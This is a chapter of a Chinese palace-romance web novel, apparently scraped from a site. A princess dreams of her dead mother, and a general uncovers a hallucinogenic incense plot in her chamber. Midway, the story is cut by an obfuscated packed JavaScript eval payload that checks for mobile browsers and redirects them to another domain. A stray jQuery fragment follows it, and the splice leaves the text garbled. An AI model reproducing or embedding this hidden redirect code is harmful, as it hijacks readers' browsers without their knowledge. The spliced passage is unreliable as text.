14. 梦醒时分
作品:《囚春》 莹点月星,遮终云雾。
是一年隆冬,雪积得格外厚实。
素白天地间,有一个约莫七八岁的小姑娘,裹着厚厚的貂裘,在覆雪的庭院里不知疲倦地奔跑嬉闹。
她小小的靴子踩进松软的雪里,发出“咯吱咯吱”的响声,脚边扬起雪白的细粉。
“永安,慢些,别摔着了。”身后传来担忧声。
杨祯雪回头望去,笑得却更欢了。
阶上静静坐着一道人影,她眼里满是笑意,目光柔柔地落在杨祯雪冻得通红的小脸上。
杨祯雪追逐着自己被月光拉长的影子,笑声清越。
倏忽,她止了脚步,蹲下身,小心翼翼拂去新覆的雪,露出底下金黄的冰凌花。
“母后快看,雪底下藏着星星呢!”她献宝似的捧着,想要快步奔向石阶那处。
杨祯雪内心急切,步子也加紧。在离石阶几步之遥时脚下一滑,整个人向前扑倒,结结实实地摔在雪地里。
“永安!”
她的貂裘沾满了雪粒,手掌磕在石阶边缘。痛楚袭来,她的鼻尖顿时涌上酸涩,眼眶也湿润,但她还是将一旁的冰凌花拾起,敛入掌心。
杨祯雪趴在雪地里,一时忘了动弹。
“快起来,地上凉。”
皇后将她扶至阶上,搂入怀中,伸手拂去她发间的雪屑。
杨祯雪仰起小脸,将冰凌花捧给皇后看。她的双颊红扑扑的,鼻尖也沁着汗珠。
“傻孩子,一朵花罢了,还跑得这样急。”皇后眼里是疼惜,拉过她的小手,仔细检查着,最后拢在掌心暖着:“摔着哪里了?疼得厉害吗?”
她将脸深深埋在皇后怀里,温暖裹挟着她,方才的疼痛仿佛全都消失殆尽。她摇摇头,闷闷道:“不疼了。”
杨祯雪忽地在她怀里抬起头,鼻尖翕动,又仔细嗅了嗅,小脸认真:“母后,你身上好香,好闻得很。”
皇后脸上始终挂着笑,嘴唇一张一翕,似乎在说什么,只不过她听不见。
不知怎的,皇后的面庞愈渐模糊,周围的一切也都看不清了。
待眼前清晰时,杨祯雪的视线只有熟悉的寝殿。
她端坐在妆台,周围没有随侍。
菱花镜映出她的倩影,镜中的她青丝垂落,未着珠翠,仅以一根银簪随意挽起几缕墨发。眉心一点痣,面若观音相,又透露出几分疏离。
杨祯雪揉了揉眉心,轻嗅屋内幽香。奇怪的是,那股香气并未随着梦境的消散而退去。
她拿起木梳,对着妆镜轻柔地梳理乌发,梳齿划过发梢,她一瞬怔愣,目光牢牢锁在镜中的一道身影上。
妆镜中,不知何时凝聚了一道身形。
杨祯雪的呼吸一滞。
那人身着明黄色凤袍,鬓发高耸,凤冠沉沉地压着。硕大的宝珠垂落胸前,她眸光上移,却见那细瘦的脖颈上,赫然有一道深紫色的勒痕。
那宽大的衣袖下,露出一双白皙的手。指甲剪得平齐,染着赤红的丹蔻。皇后正含笑凝视着她。
不是错觉。
镜里的人像似乎轻微晃动了一下,嘴唇翕动着。
没有声音,杨祯雪却觉得自己仿佛已经听见。
皇后轻轻摇动着头,步摇点翠也跟着晃动。唇畔张合间,杨祯雪读懂了皇后想说的话。
“莫要给母后报仇。”
皇后的嘴角向上弯起,只不过那不像是笑,更像是皇后心中藏着无法言说之事的沉重与无奈。
一滴泪从杨祯雪眼眶中落下,她心底生出几分浅淡的愧疚。
她做不到。
“母后。”她死死咬住下唇。
倏然,香气袭来。丝丝缕缕,围绕在她周遭。杨祯雪的额角隐隐作痛,眼皮也沉重,她不受控制地闭眼。
再睁眼时,皇后慈爱的面容一点点淡化,渐渐融入菱花镜深处。最终,镜中人影彻底消弭无踪,仿佛从未存在过。只留下冰冷的菱花镜,映着杨祯雪苍白的脸。
她大口喘息,冷汗不知何时浸透里衣,衣料贴在背上。
她颤抖着伸手去抚摸菱花镜,触碰到的只有冰冷。
又想起那股香气,杨祯雪忽而起身。垂落的珠帘被她慌乱地扯开,她跌跌撞撞冲出内殿。
“公主?”殿外候着的莺时不明所以,但见她这副模样心中暗叫不妙,惊惶地扑上前阻拦。
只是莺时的手刚触及杨祯雪的臂膀,便被大力推搡开,莺时踉跄着撞在一旁。
“公主!”
杨祯雪对莺时的呼喊充耳不闻,满心满眼只有无处不在的香气。
“还不快拦着公主!”
几个宫人被惊动,慌慌张张地从两侧围拢上来。
“都退下,别挡路。”她用尽全身力气撞开挡路的人墙,朝着长廊狂奔而去。
身后,宫人们的惊呼声、杂乱的脚步追赶声,全都搅作一团,紧紧跟在她身后不舍离去。
在她冲向一个转折的廊角时,一个高大的身影毫无预兆地现出,挡住她的去路。
杨祯雪根本来不及看清,一头便撞进那人怀里,清冽的松香萦绕着她。
一股无法抗拒的力道箍住了她的双臂和腰身,她挣扎着。可那力道非但没有因她的挣扎而放松,反而收得更紧了些。
她的双手疯狂地扑打着,此刻的她不像公主,倒像一头失控的困兽。
眼见挣脱不开,杨祯雪猛地垂首,一扭头,朝着紧箍住自己的肩膀狠狠咬了下去。
贝齿穿透锦缎,深深陷入皮肉,一股带着铁锈的腥味溢满了她的口腔。
他的肩头震动了一下,箍在她腰后的手臂也收紧了一分。
杨祯雪混沌的脑海霎时清醒,咬着的力道不由自主地松懈。
她松开嘴,目光从一片深色湿漉的衣料上,艰难地向上移动。
近在咫尺的是周径山的面庞,他紧抿薄唇,低垂着眼帘,眸光锁在她脸上。
周径山的眼睛不再是平日的疏离与刻意作出的假意。此刻,那双深潭般的眼眸静默地注望着她,眼底清晰地映着她狼狈不堪的影子。
杨祯雪的发丝凌乱,眼尾泪痕未干,嘴角有一抹猩红。
目光下移,她的手死死攥着他的衣襟,无法自控地轻抖着。
“咬够了?”
他的声音低沉,语调里听不出什么情绪。
没有恼怒,没有斥责。
周径山一直觉得杨祯雪是个冷静自持的人,不论做什么都深思熟虑,处变不惊。今日的举动,是她屈指可数的一时冲动。
神智回笼,杨祯雪下意识地想要松开手,逃离他禁锢。她的身体向后一缩,却被有力的臂膀紧紧环住,动弹不得分毫。
挣扎的念头只存在了一瞬,她所有的力气都消失不见。在周径山的注视下,她嘴唇上下开合,似乎想说些什么,但最终只化为一声叹息。
她闭上了眼睫,将脸深深埋进他的胸膛,以此躲避他的视线。
周围的宫人早已在周径山来时被莺时驱散,莺时也已识趣地退下。
周径山俯下身,手臂穿过杨祯雪的膝弯,另一只手的掌心覆在她肩侧,将她整个人打横抱了起来。
身体骤然悬空,杨祯雪下意识伸出双臂,慌乱地环住了他的脖颈。
他将她抱回寝殿,俯身将人轻轻放在塌上。
周径山直起身,衣角却被攥紧。那力道不大,却固执地不肯松开。
他没有强行抽回衣袖,只唤道:“莺时。”
莺时应声而入。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011640|178417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你家主子,近日总这样吗?”
莺时一愣,杨祯雪近日的确举动异常、神情恍惚,她只当公主心事重重,太过压抑而致。
“是。”
殿内仍旧飘香,周径山眉心蹙拢。
公主寝殿惯用的香里似乎混杂了另一种香气,几不可闻。若非他五感异于常人,恐怕也察觉不出来。他屏息凝神,全身心投入到辨别香气中。
周径山扯出衣袖,他没有去查看香炉,反倒走近床榻,掀开床枕。枕下压着皇后留下的那枚香囊,他将其拾入掌心。
“我能打开看看吗?”他偏头询问。
在得到杨祯雪应允后,他才小心扯开。
奇怪的是,香囊里面并没有装什么。他又将其放在鼻尖轻嗅,从布料中能闻到一股香气,是普通的安神香。
周径山走向一道窗棂,伸手一推。一阵风灌入,冲淡了殿中气味,异香也变得难以捕捉。
不过,足够了。
他转身走向香炉,毫不犹豫地揭开炉顶。他伸出两指,迅速从温热的香灰中夹起一小块尚未燃尽的香片。
周径山将香片凑到鼻下,指腹用力一捻。粉末落下,香气浓郁,与他捕捉到的异香如出一辙。
他忆起,这香他曾在边塞闻过相似的,那是异国的奇香。
单闻这一种的确能安神宁心,可若与香囊上的香气混杂,便成了撩拨心绪、使人致幻的秽物。
也难怪近日杨祯雪情绪多有波动,宴间的刁难与前日的恼怒,再加之今日宫廊的一幕,怕是都与这两股香气有所关联。
“殿中所焚之香,是何时更换,又经何人之手?”周径山的话里隐隐带着怒气,杀意陡然显现。
殿中宫人伏跪在地,抖作一团。
他的眼眸落在莺时身上。
莺时是公主寝殿的掌事宫女,她没有像其他人一样瘫软跪地,深吸一口气,声音不高:“殿内熏香涉及公主安危,皆是奴婢亲自查验与更换。”
她眼睛直视周径山,没有丝毫闪躲。
“香料来源何处?”
“殿中香料一向是由内廷司的掌事太监亲自送来,奴婢验看过与往日无误,填香时也绝无添加他物。”
他摊开手掌,将残余的碎末展现在莺时眼前:“那这是什么?”
“这不可能。”莺时惊呼一声,瞳孔睁得浑圆。
这不是她亲手填进去的香,殿中香料从未更换,她也验看过无数次香,绝不可能错认。
莺时快步行至炉前探查,她的心也沉了些许,这分明就是杨祯雪令她换下的香。
可为何会重新出现?
她声调拔高,旋身扫视殿内清洁的几个低等宫女:“这几日你们有谁靠近过香炉?若有半句虚言,仔细你们的皮。”
宫女们埋首更深,无人敢应声。
莺时朝着杨祯雪的方向,直直跪了下去。她头颅低垂,请罪道:“奴婢失职,未能察觉香料被人暗中调换,致使公主受惊,奴婢罪该万死。”
“莺时。”杨祯雪的声音很轻。
莺时几乎是手脚并用地向前爬去,扑在杨祯雪面前,泪水汹涌而出。
“是奴婢蠢笨,竟让人在眼皮子底下动了手脚,害得公主心绪不宁。”她重重叩首,哭声充满自责和痛悔,已然超越了主仆情分。
“莺时,你别磕了,也不准妄自菲薄。”
莺时乖乖地止住了磕头的动作,抬起头,泪眼婆娑。
杨祯雪望向莺时额头的伤处,她伸手轻柔地触碰莺时额角青紫的淤痕。
周径山看着眼前的主仆情深,心里掀起波澜,又很快被压下。缄默间,他肩头被撕咬的伤口,在衣料下传来痛意。
杨祯雪再开口时,众人眼中难掩惊骇。